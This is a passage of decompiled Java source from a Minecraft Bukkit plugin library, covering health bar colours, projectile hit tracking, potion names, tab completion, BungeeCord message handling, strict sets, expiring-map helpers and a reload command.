76 | public static void setRemainingColor(ChatColor remainingColor) {
77 | HealthBarUtil.remainingColor = remainingColor;
78 | }
79 |
80 | public static void setTotalColor(ChatColor totalColor) {
81 | HealthBarUtil.totalColor = totalColor;
82 | }
83 |
84 | public static void setDeadColor(ChatColor deadColor) {
85 | HealthBarUtil.deadColor = deadColor;
86 | }
87 |
88 | static {
89 | remainingColor = ChatColor.DARK_RED;
90 | totalColor = ChatColor.GRAY;
91 | deadColor = ChatColor.BLACK;
92 | }
93 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/HitTracking.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | import java.util.UUID;
4 | import java.util.concurrent.TimeUnit;
5 | import me.ego.ezbd.lib.fo.EntityUtil.HitListener;
6 | import me.ego.ezbd.lib.fo.collection.expiringmap.ExpiringMap;
7 | import org.bukkit.entity.Projectile;
8 | import org.bukkit.event.EventHandler;
9 | import org.bukkit.event.EventPriority;
10 | import org.bukkit.event.Listener;
11 | import org.bukkit.event.entity.ProjectileHitEvent;
12 |
13 | class HitTracking implements Listener {
14 | private static final ExpiringMap flyingProjectiles;
15 |
16 | HitTracking() {
17 | }
18 |
19 | @EventHandler(
20 | priority = EventPriority.HIGHEST
21 | )
22 | public void onHit(ProjectileHitEvent event) {
23 | HitListener hitListener = (HitListener)flyingProjectiles.remove(event.getEntity().getUniqueId());
24 | if (hitListener != null) {
25 | hitListener.onHit(event);
26 | }
27 |
28 | }
29 |
30 | static void addFlyingProjectile(Projectile projectile, HitListener hitTask) {
31 | flyingProjectiles.put(projectile.getUniqueId(), hitTask);
32 | }
33 |
34 | static {
35 | flyingProjectiles = ExpiringMap.builder().expiration(30L, TimeUnit.SECONDS).build();
36 | }
37 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/PotionWrapper.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | import org.apache.commons.lang.WordUtils;
4 |
5 | enum PotionWrapper {
6 | SLOW("SLOW", "Slowness"),
7 | STRENGTH("INCREASE_DAMAGE"),
8 | JUMP_BOOST("JUMP"),
9 | INSTANT_HEAL("INSTANT_HEALTH"),
10 | REGEN("REGENERATION");
11 |
12 | private final String bukkitName;
13 | private final String minecraftName;
14 |
15 | private PotionWrapper(String bukkitName) {
16 | this(bukkitName, (String)null);
17 | }
18 |
19 | protected static String getLocalizedName(String name) {
20 | String localizedName = name;
21 | PotionWrapper[] var2 = values();
22 | int var3 = var2.length;
23 |
24 | for(int var4 = 0; var4 < var3; ++var4) {
25 | PotionWrapper e = var2[var4];
26 | if (name.toUpperCase().replace(" ", "_").equals(e.bukkitName)) {
27 | localizedName = e.getMinecraftName();
28 | break;
29 | }
30 | }
31 |
32 | return WordUtils.capitalizeFully(localizedName.replace("_", " "));
33 | }
34 |
35 | protected static String getBukkitName(String name) {
36 | name = name.toUpperCase().replace(" ", "_");
37 | PotionWrapper[] var1 = values();
38 | int var2 = var1.length;
39 |
40 | for(int var3 = 0; var3 < var2; ++var3) {
41 | PotionWrapper e = var1[var3];
42 | if (e.toString().equalsIgnoreCase(name) || e.minecraftName != null && e.minecraftName.equalsIgnoreCase(name)) {
43 | return e.bukkitName;
44 | }
45 | }
46 |
47 | return name;
48 | }
49 |
50 | public String getMinecraftName() {
51 | return (String)Common.getOrDefault(this.minecraftName, this.bukkitName);
52 | }
53 |
54 | private PotionWrapper(String bukkitName, String minecraftName) {
55 | this.bukkitName = bukkitName;
56 | this.minecraftName = minecraftName;
57 | }
58 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/TabUtil.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | import java.util.ArrayList;
4 | import java.util.Collections;
5 | import java.util.Iterator;
6 | import java.util.List;
7 |
8 | public final class TabUtil {
9 | @SafeVarargs
10 | public static List complete(String partialName, T... all) {
11 | List clone = new ArrayList();
12 | if (all != null) {
13 | Object[] var3 = all;
14 | int var4 = all.length;
15 |
16 | for(int var5 = 0; var5 < var4; ++var5) {
17 | T s = var3[var5];
18 | if (s != null) {
19 | if (s instanceof Iterable) {
20 | Iterator var12 = ((Iterable)s).iterator();
21 |
22 | while(var12.hasNext()) {
23 | Object iterable = var12.next();
24 | clone.add(iterable instanceof Enum ? iterable.toString().toLowerCase() : SerializeUtil.serialize(iterable).toString());
25 | }
26 | } else if (s instanceof Enum[]) {
27 | Enum[] var11 = (Enum[])((Enum[])((Enum[])s))[0].getClass().getEnumConstants();
28 | int var13 = var11.length;
29 |
30 | for(int var9 = 0; var9 < var13; ++var9) {
31 | Object iterable = var11[var9];
32 | clone.add(iterable.toString().toLowerCase());
33 | }
34 | } else {
35 | boolean lowercase = s instanceof Enum;
36 | String parsed = SerializeUtil.serialize(s).toString();
37 | if (!"".equals(parsed)) {
38 | clone.add(lowercase ? parsed.toLowerCase() : parsed);
39 | }
40 | }
41 | }
42 | }
43 | }
44 |
45 | return complete(partialName, (Iterable)clone);
46 | }
47 |
48 | public static List complete(String partialName, Iterable all) {
49 | ArrayList tab = new ArrayList();
50 | Iterator iterator = all.iterator();
51 |
52 | String val;
53 | while(iterator.hasNext()) {
54 | val = (String)iterator.next();
55 | tab.add(val);
56 | }
57 |
58 | partialName = partialName.toLowerCase();
59 | iterator = tab.iterator();
60 |
61 | while(iterator.hasNext()) {
62 | val = (String)iterator.next();
63 | if (!val.toLowerCase().startsWith(partialName)) {
64 | iterator.remove();
65 | }
66 | }
67 |
68 | Collections.sort(tab);
69 | return tab;
70 | }
71 |
72 | private TabUtil() {
73 | }
74 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/TimedCharSequence.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo;
2 |
3 | import lombok.NonNull;
4 | import me.ego.ezbd.lib.fo.settings.SimpleSettings;
5 |
6 | final class TimedCharSequence implements CharSequence {
7 | private final CharSequence message;
8 | private final long futureTimestampLimit;
9 |
10 | private TimedCharSequence(@NonNull CharSequence message, long futureTimestampLimit) {
11 | if (message == null) {
12 | throw new NullPointerException("message is marked non-null but is null");
13 | } else {
14 | this.message = message;
15 | this.futureTimestampLimit = futureTimestampLimit;
16 | }
17 | }
18 |
19 | public char charAt(int index) {
20 | return this.message.charAt(index);
21 | }
22 |
23 | public int length() {
24 | return this.message.length();
25 | }
26 |
27 | public CharSequence subSequence(int start, int end) {
28 | return new TimedCharSequence(this.message.subSequence(start, end), this.futureTimestampLimit);
29 | }
30 |
31 | public String toString() {
32 | return this.message.toString();
33 | }
34 |
35 | static TimedCharSequence withSettingsLimit(CharSequence message) {
36 | return new TimedCharSequence(message, System.currentTimeMillis() + (long)SimpleSettings.REGEX_TIMEOUT);
37 | }
38 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/bungee/BungeeAction.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.bungee;
2 |
3 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
4 |
5 | public interface BungeeAction {
6 | Class>[] getContent();
7 |
8 | String name();
9 |
10 | static BungeeAction getByName(String name) {
11 | BungeeAction[] actions = SimplePlugin.getInstance().getBungeeCord().getActions();
12 | BungeeAction[] var2 = actions;
13 | int var3 = actions.length;
14 |
15 | for(int var4 = 0; var4 < var3; ++var4) {
16 | BungeeAction action = var2[var4];
17 | if (action.name().equals(name)) {
18 | return action;
19 | }
20 | }
21 |
22 | return null;
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/bungee/BungeeListener.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.bungee;
2 |
3 | import me.ego.ezbd.lib.fo.bungee.message.IncomingMessage;
4 | import me.ego.ezbd.lib.fo.debug.Debugger;
5 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
6 | import org.bukkit.Bukkit;
7 | import org.bukkit.entity.Player;
8 | import org.bukkit.event.Listener;
9 | import org.bukkit.plugin.messaging.PluginMessageListener;
10 |
11 | public abstract class BungeeListener implements Listener, PluginMessageListener {
12 | protected BungeeListener() {
13 | }
14 |
15 | public final void onPluginMessageReceived(String tag, Player player, byte[] data) {
16 | if (!Bukkit.getName().contains("Cauldron")) {
17 | if (tag.equals(SimplePlugin.getInstance().getBungeeCord().getChannel())) {
18 | IncomingMessage message = new IncomingMessage(data);
19 | Debugger.debug("bungee", new String[]{"Channel " + message.getChannel() + " received " + message.getAction() + " message from " + message.getServerName() + " server."});
20 | this.onMessageReceived(player, message);
21 | }
22 |
23 | }
24 | }
25 |
26 | public abstract void onMessageReceived(Player var1, IncomingMessage var2);
27 | }
28 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/bungee/FoBungeeAction.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.bungee;
2 |
3 | /** @deprecated */
4 | public enum FoBungeeAction implements BungeeAction {
5 | BUNGEE_COMMAND(new Object[]{String.class}),
6 | TELL_PLAYER(new Object[]{String.class, String.class}),
7 | CHAT_MUTE(new Object[]{String.class}),
8 | CHAT_CLEAR(new Object[]{String.class}),
9 | CHANNEL(new Object[]{String.class, String.class, String.class, Boolean.class, Boolean.class}),
10 | ANNOUNCEMENT(new Object[]{String.class, String.class}),
11 | BROADCAST_JSON_WITH_PERMISSION_AS(new Object[]{String.class, String.class, String.class, Boolean.class}),
12 | SPY(new Object[]{String.class}),
13 | PM_LOOKUP(new Object[]{String.class, String.class, String.class, String.class, Boolean.class, Boolean.class, Boolean.class}),
14 | PM_PLAYER_NOT_FOUND(new Object[]{String.class, String.class}),
15 | PM_PLAYER_FOUND(new Object[]{String.class, String.class, String.class});
16 |
17 | private final Class>[] content;
18 |
19 | private FoBungeeAction(Object... validValues) {
20 | Class>[] classes = new Class[validValues.length];
21 |
22 | for(int i = 0; i < classes.length; ++i) {
23 | Object value = validValues[i];
24 | classes[i] = value.getClass();
25 | }
26 |
27 | this.content = classes;
28 | }
29 |
30 | public Class>[] getContent() {
31 | return this.content;
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/bungee/SimpleBungee.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.bungee;
2 |
3 | import java.lang.reflect.Constructor;
4 | import me.ego.ezbd.lib.fo.Common;
5 | import me.ego.ezbd.lib.fo.Valid;
6 |
7 | public final class SimpleBungee {
8 | private final String channel;
9 | private final BungeeListener listener;
10 | private final BungeeAction[] actions;
11 |
12 | public SimpleBungee(String channel, Class extends BungeeListener> listenerClass, Class extends BungeeAction> actionEnum) {
13 | this(channel, toListener(listenerClass), toAction(actionEnum));
14 | }
15 |
16 | private static BungeeListener toListener(Class extends BungeeListener> listenerClass) {
17 | Valid.checkNotNull(listenerClass);
18 |
19 | try {
20 | Constructor> con = listenerClass.getConstructor();
21 | con.setAccessible(true);
22 | return (BungeeListener)con.newInstance();
23 | } catch (ReflectiveOperationException var2) {
24 | Common.log(new String[]{"Unable to create new instance of " + listenerClass + ", ensure constructor is public without parameters!"});
25 | var2.printStackTrace();
26 | return null;
27 | }
28 | }
29 |
30 | private static BungeeAction[] toAction(Class extends BungeeAction> actionEnum) {
31 | Valid.checkNotNull(actionEnum);
32 | Valid.checkBoolean(actionEnum.isEnum(), "Enum expected, given: " + actionEnum, new Object[0]);
33 |
34 | try {
35 | return (BungeeAction[])((BungeeAction[])actionEnum.getMethod("values").invoke((Object)null));
36 | } catch (ReflectiveOperationException var2) {
37 | Common.log(new String[]{"Unable to get values() of " + actionEnum + ", ensure it is an enum!"});
38 | var2.printStackTrace();
39 | return null;
40 | }
41 | }
42 |
43 | public SimpleBungee(String channel, BungeeListener listener, BungeeAction... actions) {
44 | Valid.checkNotNull(channel, "Channel cannot be null!");
45 | this.channel = channel;
46 | this.listener = listener;
47 | Valid.checkNotNull(actions, "Actions cannot be null!");
48 | this.actions = actions;
49 | }
50 |
51 | public String getChannel() {
52 | return this.channel;
53 | }
54 |
55 | public BungeeListener getListener() {
56 | return this.listener;
57 | }
58 |
59 | public BungeeAction[] getActions() {
60 | return this.actions;
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/bungee/message/IncomingMessage.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.bungee.message;
2 |
3 | import com.google.common.io.ByteArrayDataInput;
4 | import com.google.common.io.ByteStreams;
5 | import java.io.ByteArrayInputStream;
6 | import java.io.IOException;
7 | import java.util.UUID;
8 | import me.ego.ezbd.lib.fo.ReflectionUtil;
9 | import me.ego.ezbd.lib.fo.collection.SerializedMap;
10 | import me.ego.ezbd.lib.fo.debug.Debugger;
11 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
12 | import org.bukkit.entity.Player;
13 |
14 | public final class IncomingMessage extends Message {
15 | private final byte[] data;
16 | private final ByteArrayDataInput input;
17 | private final ByteArrayInputStream stream;
18 |
19 | public IncomingMessage(byte[] data) {
20 | this.data = data;
21 | this.stream = new ByteArrayInputStream(data);
22 | this.input = ByteStreams.newDataInput(this.stream);
23 | this.setSenderUid(this.input.readUTF());
24 | this.setServerName(this.input.readUTF());
25 | this.setAction(this.input.readUTF());
26 | }
27 |
28 | public String readString() {
29 | this.moveHead(String.class);
30 | return this.input.readUTF();
31 | }
32 |
33 | public UUID readUUID() {
34 | this.moveHead(UUID.class);
35 | return UUID.fromString(this.input.readUTF());
36 | }
37 |
38 | public SerializedMap readMap() {
39 | this.moveHead(String.class);
40 | return SerializedMap.fromJson(this.input.readUTF());
41 | }
42 |
43 | public > T readEnum(Class typeOf) {
44 | this.moveHead(typeOf);
45 | return ReflectionUtil.lookupEnum(typeOf, this.input.readUTF());
46 | }
47 |
48 | public boolean readBoolean() {
49 | this.moveHead(Boolean.class);
50 | return this.input.readBoolean();
51 | }
52 |
53 | public byte readByte() {
54 | this.moveHead(Byte.class);
55 | return this.input.readByte();
56 | }
57 |
58 | public byte[] readBytes() {
59 | this.moveHead(byte[].class);
60 | byte[] array = new byte[this.stream.available()];
61 |
62 | try {
63 | this.stream.read(array);
64 | } catch (IOException var3) {
65 | var3.printStackTrace();
66 | }
67 |
68 | return array;
69 | }
70 |
71 | public double readDouble() {
72 | this.moveHead(Double.class);
73 | return this.input.readDouble();
74 | }
75 |
76 | public float readFloat() {
77 | this.moveHead(Float.class);
78 | return this.input.readFloat();
79 | }
80 |
81 | public int writeInt() {
82 | this.moveHead(Integer.class);
83 | return this.input.readInt();
84 | }
85 |
86 | public long readLong() {
87 | this.moveHead(Long.class);
88 | return this.input.readLong();
89 | }
90 |
91 | public short readShort() {
92 | this.moveHead(Short.class);
93 | return this.input.readShort();
94 | }
95 |
96 | public void forward(Player player) {
97 | player.sendPluginMessage(SimplePlugin.getInstance(), this.getChannel(), this.data);
98 | Debugger.debug("bungee", new String[]{"Forwarding data on " + this.getChannel() + " channel from " + this.getAction() + " as " + player.getName() + " player to BungeeCord."});
99 | }
100 |
101 | public byte[] getData() {
102 | return this.data;
103 | }
104 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/bungee/message/Message.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.bungee.message;
2 |
3 | import java.util.UUID;
4 | import javax.annotation.Nullable;
5 | import me.ego.ezbd.lib.fo.Common;
6 | import me.ego.ezbd.lib.fo.Valid;
7 | import me.ego.ezbd.lib.fo.bungee.BungeeAction;
8 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
9 |
10 | abstract class Message {
11 | @Nullable
12 | private UUID senderUid;
13 | private String serverName;
14 | private BungeeAction action;
15 | private int actionHead = 0;
16 |
17 | protected final void setSenderUid(String raw) {
18 | if (raw != null) {
19 | try {
20 | this.senderUid = UUID.fromString(raw);
21 | } catch (IllegalArgumentException var3) {
22 | throw new IllegalArgumentException("Expected UUID, got " + raw + " for packet " + this.action + " from server " + this.serverName);
23 | }
24 | }
25 |
26 | }
27 |
28 | protected final void setServerName(String serverName) {
29 | Valid.checkBoolean(this.serverName == null, "Server name already set", new Object[0]);
30 | Valid.checkNotNull(serverName, "Server name cannot be null!");
31 | this.serverName = serverName;
32 | }
33 |
34 | protected final void setAction(String actionName) {
35 | BungeeAction action = BungeeAction.getByName(actionName);
36 | Valid.checkNotNull(action, "Unknown action named: " + actionName + ". Available: " + Common.join(SimplePlugin.getInstance().getBungeeCord().getActions()));
37 | this.setAction(action);
38 | }
39 |
40 | protected final void setAction(BungeeAction action) {
41 | Valid.checkBoolean(this.action == null, "Action already set", new Object[0]);
42 | this.action = action;
43 | }
44 |
45 | public T getAction() {
46 | return this.action;
47 | }
48 |
49 | protected final void moveHead(Class> typeOf) {
50 | Valid.checkNotNull(this.serverName, "Server name not set!");
51 | Valid.checkNotNull(this.action, "Action not set!");
52 | Class>[] content = this.action.getContent();
53 | Valid.checkBoolean(this.actionHead < content.length, "Head out of bounds! Max data size for " + this.action.name() + " is " + content.length, new Object[0]);
54 | ++this.actionHead;
55 | }
56 |
57 | public final String getChannel() {
58 | return SimplePlugin.getInstance().getBungeeCord().getChannel();
59 | }
60 |
61 | protected Message() {
62 | }
63 |
64 | @Nullable
65 | public UUID getSenderUid() {
66 | return this.senderUid;
67 | }
68 |
69 | public String getServerName() {
70 | return this.serverName;
71 | }
72 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/collection/StrictCollection.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.collection;
2 |
3 | public abstract class StrictCollection {
4 | private final String cannotRemoveMessage;
5 | private final String cannotAddMessage;
6 |
7 | public abstract Object serialize();
8 |
9 | protected String getCannotRemoveMessage() {
10 | return this.cannotRemoveMessage;
11 | }
12 |
13 | protected String getCannotAddMessage() {
14 | return this.cannotAddMessage;
15 | }
16 |
17 | public StrictCollection(String cannotRemoveMessage, String cannotAddMessage) {
18 | this.cannotRemoveMessage = cannotRemoveMessage;
19 | this.cannotAddMessage = cannotAddMessage;
20 | }
21 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/collection/StrictSet.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.collection;
2 |
3 | import java.util.Arrays;
4 | import java.util.Collection;
5 | import java.util.HashSet;
6 | import java.util.Iterator;
7 | import java.util.Set;
8 | import me.ego.ezbd.lib.fo.SerializeUtil;
9 | import me.ego.ezbd.lib.fo.Valid;
10 | import me.ego.ezbd.lib.fo.exception.FoException;
11 | import org.apache.commons.lang.StringUtils;
12 |
13 | public final class StrictSet extends StrictCollection implements Iterable {
14 | private final Set set;
15 |
16 | @SafeVarargs
17 | public StrictSet(E... elements) {
18 | this();
19 | this.addAll(Arrays.asList(elements));
20 | }
21 |
22 | public StrictSet(Collection oldList) {
23 | this();
24 | this.addAll(oldList);
25 | }
26 |
27 | public StrictSet() {
28 | super("Cannot remove '%s' as it is not in the set!", "Value '%s' is already in the set!");
29 | this.set = new HashSet();
30 | }
31 |
32 | public void remove(E value) {
33 | Valid.checkNotNull(value, "Cannot remove null values");
34 | boolean removed = this.set.remove(value);
35 | Valid.checkBoolean(removed, String.format(this.getCannotRemoveMessage(), value), new Object[0]);
36 | }
37 |
38 | public void removeWeak(E value) {
39 | this.set.remove(value);
40 | }
41 |
42 | public void addAll(Collection collection) {
43 | Iterator var2 = collection.iterator();
44 |
45 | while(var2.hasNext()) {
46 | E val = var2.next();
47 | this.add(val);
48 | }
49 |
50 | }
51 |
52 | public void add(E key) {
53 | Valid.checkNotNull(key, "Cannot add null values");
54 | Valid.checkBoolean(!this.set.contains(key), String.format(this.getCannotAddMessage(), key), new Object[0]);
55 | this.set.add(key);
56 | }
57 |
58 | public void override(E key) {
59 | this.set.add(key);
60 | }
61 |
62 | public E getAt(int index) {
63 | int i = 0;
64 | Iterator it = this.set.iterator();
65 |
66 | Object e;
67 | do {
68 | if (!it.hasNext()) {
69 | throw new FoException("Index (" + index + ") + out of size (" + this.set.size() + ")");
70 | }
71 |
72 | e = it.next();
73 | } while(i++ != index);
74 |
75 | return e;
76 | }
77 |
78 | public boolean contains(E key) {
79 | return this.set.contains(key);
80 | }
81 |
82 | public void clear() {
83 | this.set.clear();
84 | }
85 |
86 | public boolean isEmpty() {
87 | return this.set.isEmpty();
88 | }
89 |
90 | public int size() {
91 | return this.set.size();
92 | }
93 |
94 | public Set getSource() {
95 | return this.set;
96 | }
97 |
98 | public String join(String separator) {
99 | return StringUtils.join(this.set, separator);
100 | }
101 |
102 | public E[] toArray(E[] e) {
103 | return this.set.toArray(e);
104 | }
105 |
106 | public Iterator iterator() {
107 | return this.set.iterator();
108 | }
109 |
110 | public Object serialize() {
111 | return SerializeUtil.serialize(this.set);
112 | }
113 |
114 | public String toString() {
115 | return "StrictSet{\n" + StringUtils.join(this.set, "\n") + "}";
116 | }
117 | }
118 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/collection/expiringmap/EntryLoader.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.collection.expiringmap;
2 |
3 | public interface EntryLoader {
4 | V load(K var1);
5 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/collection/expiringmap/ExpirationPolicy.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.collection.expiringmap;
2 |
3 | public enum ExpirationPolicy {
4 | ACCESSED,
5 | CREATED;
6 |
7 | private ExpirationPolicy() {
8 | }
9 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/collection/expiringmap/ExpiringEntryLoader.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.collection.expiringmap;
2 |
3 | public interface ExpiringEntryLoader {
4 | ExpiringValue load(K var1);
5 | }
6 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/collection/expiringmap/ExpiringValue.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.collection.expiringmap;
2 |
3 | import java.util.concurrent.TimeUnit;
4 |
5 | public final class ExpiringValue {
6 | private static final long UNSET_DURATION = -1L;
7 | private final V value;
8 | private final ExpirationPolicy expirationPolicy;
9 | private final long duration;
10 | private final TimeUnit timeUnit;
11 |
12 | public ExpiringValue(V value) {
13 | this(value, -1L, (TimeUnit)null, (ExpirationPolicy)null);
14 | }
15 |
16 | public ExpiringValue(V value, ExpirationPolicy expirationPolicy) {
17 | this(value, -1L, (TimeUnit)null, expirationPolicy);
18 | }
19 |
20 | public ExpiringValue(V value, long duration, TimeUnit timeUnit) {
21 | this(value, duration, timeUnit, (ExpirationPolicy)null);
22 | if (timeUnit == null) {
23 | throw new NullPointerException();
24 | }
25 | }
26 |
27 | public ExpiringValue(V value, ExpirationPolicy expirationPolicy, long duration, TimeUnit timeUnit) {
28 | this(value, duration, timeUnit, expirationPolicy);
29 | if (timeUnit == null) {
30 | throw new NullPointerException();
31 | }
32 | }
33 |
34 | private ExpiringValue(V value, long duration, TimeUnit timeUnit, ExpirationPolicy expirationPolicy) {
35 | this.value = value;
36 | this.expirationPolicy = expirationPolicy;
37 | this.duration = duration;
38 | this.timeUnit = timeUnit;
39 | }
40 |
41 | public V getValue() {
42 | return this.value;
43 | }
44 |
45 | public ExpirationPolicy getExpirationPolicy() {
46 | return this.expirationPolicy;
47 | }
48 |
49 | public long getDuration() {
50 | return this.duration;
51 | }
52 |
53 | public TimeUnit getTimeUnit() {
54 | return this.timeUnit;
55 | }
56 |
57 | public int hashCode() {
58 | return this.value != null ? this.value.hashCode() : 0;
59 | }
60 |
61 | public boolean equals(Object o) {
62 | if (this == o) {
63 | return true;
64 | } else if (o != null && this.getClass() == o.getClass()) {
65 | boolean var10000;
66 | label28: {
67 | ExpiringValue> that = (ExpiringValue)o;
68 | if (this.value != null) {
69 | if (!this.value.equals(that.value)) {
70 | break label28;
71 | }
72 | } else if (that.value != null) {
73 | break label28;
74 | }
75 |
76 | if (this.expirationPolicy == that.expirationPolicy && this.duration == that.duration && this.timeUnit == that.timeUnit) {
77 | var10000 = true;
78 | return var10000;
79 | }
80 | }
81 |
82 | var10000 = false;
83 | return var10000;
84 | } else {
85 | return false;
86 | }
87 | }
88 |
89 | public String toString() {
90 | return "ExpiringValue{value=" + this.value + ", expirationPolicy=" + this.expirationPolicy + ", duration=" + this.duration + ", timeUnit=" + this.timeUnit + '}';
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/collection/expiringmap/NamedThreadFactory.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.collection.expiringmap;
2 |
3 | import java.util.concurrent.ThreadFactory;
4 | import java.util.concurrent.atomic.AtomicInteger;
5 |
6 | public final class NamedThreadFactory implements ThreadFactory {
7 | private final AtomicInteger threadNumber = new AtomicInteger(1);
8 | private final String nameFormat;
9 |
10 | public NamedThreadFactory(String nameFormat) {
11 | this.nameFormat = nameFormat;
12 | }
13 |
14 | public Thread newThread(Runnable r) {
15 | Thread thread = new Thread(r, String.format(this.nameFormat, this.threadNumber.getAndIncrement()));
16 | thread.setDaemon(true);
17 | return thread;
18 | }
19 | }
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/command/ReloadCommand.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.command;
2 |
3 | import java.io.File;
4 | import java.util.ArrayList;
5 | import java.util.Iterator;
6 | import java.util.List;
7 | import me.ego.ezbd.lib.fo.FileUtil;
8 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
9 | import me.ego.ezbd.lib.fo.settings.SimpleLocalization.Commands;
10 |
11 | public final class ReloadCommand extends SimpleSubCommand {
12 | public ReloadCommand() {
13 | super("reload|rl");
14 | this.setDescription(Commands.RELOAD_DESCRIPTION);
15 | }
16 |
17 | protected void onCommand() {
18 | try {
19 | this.tell(new String[]{Commands.RELOAD_STARTED});
20 | boolean syntaxParsed = true;
21 | List yamlFiles = new ArrayList();
22 | this.collectYamlFiles(SimplePlugin.getData(), yamlFiles);
23 | Iterator var3 = yamlFiles.iterator();
24 |
25 | while(var3.hasNext()) {
26 | File file = (File)var3.next();
27 |
28 | try {
29 | FileUtil.loadConfigurationStrict(file);
30 | } catch (Throwable var6) {
31 | var6.printStackTrace();
32 | syntaxParsed = false;
33 | }
34 | }
35 |
36 | if (!syntaxParsed) {
37 | this.tell(new String[]{Commands.RELOAD_FILE_LOAD_ERROR});
38 | return;
39 | }
40 |
41 | SimplePlugin.getInstance().reload();
42 | this.tell(new String[]{Commands.RELOAD_SUCCESS});
43 | } catch (Throwable var7) {
44 | this.tell(new String[]{Commands.RELOAD_FAIL.replace("{error}", var7.getMessage() != null ? var7.getMessage() : "unknown")});
45 | var7.printStackTrace();
46 | }
47 |
48 | }
49 |
50 | private List collectYamlFiles(File directory, List list) {
51 | if (directory.exists()) {
52 | File[] var3 = directory.listFiles();
53 | int var4 = var3.length;
54 |
55 | for(int var5 = 0; var5 < var4; ++var5) {
56 | File file = var3[var5];
57 | if (file.getName().endsWith("yml")) {
58 | list.add(file);
59 | }
60 |
61 | if (file.isDirectory()) {
62 | this.collectYamlFiles(file, list);
63 | }
64 | }
65 | }
66 |
67 | return list;
68 | }
69 |
70 | protected List tabComplete() {
71 | return NO_COMPLETE;
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/command/SimpleSubCommand.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.command;
2 |
3 | import java.util.Arrays;
4 | import me.ego.ezbd.lib.fo.Valid;
5 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin;
6 |
7 | public abstract class SimpleSubCommand extends SimpleCommand {
8 | private final String[] sublabels;
9 | private String sublabel;
10 |
11 | protected SimpleSubCommand(String sublabel) {
12 | this(getMainCommandGroup0(), sublabel);
13 | }
14 |
15 | private static SimpleCommandGroup getMainCommandGroup0() {
16 | SimpleCommandGroup main = SimplePlugin.getInstance().getMainCommand();
17 | Valid.checkNotNull(main, SimplePlugin.getNamed() + " does not define a main command group!");
18 | return main;
19 | }
20 |
21 | protected SimpleSubCommand(SimpleCommandGroup parent, String sublabel) {
22 | super(parent.getLabel());
23 | this.sublabels = sublabel.split("(\\||\\/)");
24 | Valid.checkBoolean(this.sublabels.length > 0, "Please set at least 1 sublabel", new Object[0]);
25 | this.sublabel = this.sublabels[0];
26 | if (this.getRawPermission().equals(getDefaultPermission())) {
27 | SimplePlugin instance = SimplePlugin.getInstance();
28 | if (instance.getMainCommand() != null && instance.getMainCommand().getLabel().equals(this.getMainLabel())) {
29 | this.setPermission(this.getRawPermission().replace("{label}", "{sublabel}"));
30 | } else {
31 | this.setPermission(this.getRawPermission() + ".{sublabel}");
32 | }
33 | }
34 |
35 | }
36 |
37 | protected boolean showInHelp() {
38 | return true;
39 | }
40 |
41 | protected String replacePlaceholders(String message) {
42 | return super.replacePlaceholders(message).replace("{sublabel}", this.getSublabel());
43 | }
44 |
45 | public final boolean equals(Object obj) {
46 | return obj instanceof SimpleSubCommand ? Arrays.equals(((SimpleSubCommand)obj).sublabels, this.sublabels) : false;
47 | }
48 |
49 | public String[] getSublabels() {
50 | return this.sublabels;
51 | }
52 |
53 | protected void setSublabel(String sublabel) {
54 | this.sublabel = sublabel;
55 | }
56 |
57 | protected String getSublabel() {
58 | return this.sublabel;
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/me/ego/ezbd/lib/fo/command/annotation/Permission.java:
--------------------------------------------------------------------------------
1 | package me.ego.ezbd.lib.fo.command.annotation;
2 |
3 | import java.lang.annotation.ElementType;
4 | import java.lang.annotation.Retention;
5 | import java.lang.annotation.RetentionPolicy;
